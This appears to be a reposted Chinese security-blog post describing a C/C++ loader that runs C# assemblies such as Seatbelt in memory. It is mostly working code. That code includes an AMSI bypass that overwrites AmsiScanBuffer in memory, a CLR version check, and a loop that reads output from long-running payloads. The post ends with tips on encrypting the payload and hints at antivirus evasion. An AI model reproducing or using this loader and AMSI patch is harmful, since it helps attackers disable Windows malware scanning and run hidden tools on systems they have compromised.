Coff Loader第一部分(补):C# 内存加载器

admin 2024年3月20日11:35:58评论5 views字数 3476阅读11分35秒阅读模式

前言

这是一篇简短的文章,主要分享一个感觉还不错的c#程序加载代码,如果你已经了解过ExecuteAssembly_Mailslot,那基本就可以跳过了。

正文

问:ExecuteAssembly_Mailslot 是什么?

答:简单来说用c/c++编写的 c#加载器,测试了seatbelt运行良好

问:我做了什么?

答:缝合怪,真的,就是缝合怪 :)

具体到代码如下:(当然在下面链接可以找到所有修改之后代码)

  • • 微不足道的调试输出:

#ifdef _DEBUG
#define DEBUG_PRINT(x, ...) printf(x, ##__VA_ARGS__)
#else
#define DEBUG_PRINT(x, ...)
#endif
  • • 微不足道的参数传递

    szArglist = CommandLineToArgvW(GetCommandLineW(), &nArgs);
    
    if (NULL == szArglist)
    {
        DEBUG_PRINT("CommandLineToArgvW failedn");
        return -1;
    }
    else for (i = 1; i < nArgs; i++) wargs += szArglist[i];
    
    std::string args(wargs.begin(), wargs.end());
  • • Patch AMSI

这点很重要

BOOL patchAMSI()
{

#ifdef _M_AMD64
    unsigned char amsiPatch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };//x64
#elif defined(_M_IX86)
    unsigned char amsiPatch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };//x86
#endif

    HINSTANCE hinst = LoadLibraryA(("amsi.dll"));
    void* pAddress = (PVOID)GetProcAddress(hinst, ("AmsiScanBuffer"));
    if (pAddress == NULL)
    {
        DEBUG_PRINT("AmsiScanBuffer failed");
        return 0;
    }

    void* lpBaseAddress = pAddress;
    ULONG OldProtection, NewProtection;
    SIZE_T uSize = sizeof(amsiPatch);

    //Change memory protection via NTProtectVirtualMemory
    _NtProtectVirtualMemory NtProtectVirtualMemory = (_NtProtectVirtualMemory)GetProcAddress(GetModuleHandleA(("ntdll.dll")), ("NtProtectVirtualMemory"));
    
    NTSTATUS status = NtProtectVirtualMemory(GetCurrentProcess(), (PVOID)&lpBaseAddress, (PULONG)&uSize, PAGE_EXECUTE_READWRITE, &OldProtection);

    if (status != 0) {
        DEBUG_PRINT("[-] NtProtectVirtualMemory failed");
        return 0;
    }

    //Patch AMSI via NTWriteVirtualMemory
    _NtWriteVirtualMemory NtWriteVirtualMemory = (_NtWriteVirtualMemory)GetProcAddress(GetModuleHandleA(("ntdll.dll")), ("NtWriteVirtualMemory"));
    status = NtWriteVirtualMemory(GetCurrentProcess(), pAddress, (PVOID)amsiPatch, sizeof(amsiPatch), NULL);
    if (status != 0) {
        DEBUG_PRINT("WriteVirtualMemory Failed");
        return 0;
    }

    //Revert back memory protection via NTProtectVirtualMemory
    status = NtProtectVirtualMemory(GetCurrentProcess(), (PVOID)&lpBaseAddress, (PULONG)&uSize, OldProtection, &NewProtection);
    if (status != 0) {
        DEBUG_PRINT("[-] NtProtectVirtualMemory2 failed");
        return 0;
    }

    //Successfully patched AMSI
    return 1;
}
  • • CLR版本判断,也很重要

BOOL FindVersion(VOID* assembly, DWORD length) {
    CHAR* assembly_c;
    assembly_c = (char*)assembly;
    CHAR v4[] = { 0x76,0x34,0x2E,0x30,0x2E,0x33,0x30,0x33,0x31,0x39 };

    for (DWORD i = 0; i < length; i++)
    {
        for (INT j = 0; j < 10; j++)
        {
            if (v4[j] != assembly_c[i + j])
            {
                break;
            }
            else
            {
                if (j == (9))
                {
                    return 1;
                }
            }
        }
    }

    return 0;
}
  • • 循环获取执行结果输出

原代码默认加载的c#程序只执行一次,但是我们平时可能会碰到需要一直在后台运行的,所以创建线程执行.net程序集,然后循环读取管道输出

    do {
        //Read from our mail slot
        if (!ReadSlot(outputString))
            DEBUG_PRINT("Failed to read from mail slot");

        if(!outputString.empty())
            printf("%s", outputString.c_str());

        if (WaitForSingleObject(hThread, 200) == WAIT_OBJECT_0)
            // thread finish
            break;
    } while (TRUE);

你还能做什么?

加密原本的c#程序,使用分离加载或者将文件加密之后作为资源存放?

能免杀吗?

答:如能~

代码

https://github.com/jseclab/wechat_public/blob/main/bof/p1-1/ExecuteAssembly.cpp

原文始发于微信公众号(无名之):Coff Loader第一部分(补):C# 内存加载器

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月20日11:35:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Coff Loader第一部分(补):C# 内存加载器https://cn-sec.com/archives/2588252.html

发表评论

匿名网友 填写信息